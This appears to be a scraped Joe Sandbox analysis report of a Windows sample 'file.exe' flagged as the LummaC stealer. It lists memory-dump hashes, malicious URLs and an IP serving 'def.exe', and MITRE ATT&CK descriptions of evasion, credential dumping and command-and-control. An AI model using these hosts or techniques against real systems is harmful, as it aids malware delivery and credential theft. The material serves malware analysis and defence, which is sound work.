Associated: 00000005.00000002.1667063331.00000000062B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda3bcd2b55e3c13a2805ca079af9deb00204492cea4410c2103524bd6e89078
Instruction ID: 3e0231786aafdca76159a6164fcebd146945308f20cc02170c23c5bc93e05280
Opcode Fuzzy Hash: cda3bcd2b55e3c13a2805ca079af9deb00204492cea4410c2103524bd6e89078
Instruction Fuzzy Hash: 16E04F36008101AAC7009F54D84599FFBF8FF59320F208449E444C7222C3364941CB2A

Function 0619BB6B Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1667063331.000000000618E000.00000040.00000800.00020000.00000000.sdmp, Offset: 06000000, based on PE: true

Associated: 00000005.00000002.1666990007.0000000006000000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667011673.0000000006002000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667033431.0000000006006000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.000000000600A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.00000000062A0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.00000000062AE000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.00000000062B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257d2e7d5e75805c6c258d268fbc39bd9568d663b19e23fbac87b677fd7cbe0a
Instruction ID: 6218395428beb1d34c6e8257b80f0bd9bce8a517476f26faf89b1ee90aa3a914
Opcode Fuzzy Hash: 257d2e7d5e75805c6c258d268fbc39bd9568d663b19e23fbac87b677fd7cbe0a
Instruction Fuzzy Hash: FFA02470C4F350F4DFC511343CD4F1714140701000F04C5401103174DD414054000135

Source: https://frogmen-smell.sbs///	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/uA	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/W	Avira URL Cloud: Label: phishing
Source: https://frogmen-smell.sbs/apiG	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/=	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/apiH	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/o	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/eA%h:	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/mA-h;	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/.	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs:443/apit9	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exe%	Avira URL Cloud: Label: phishing

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Windows Analysis Report
file.exe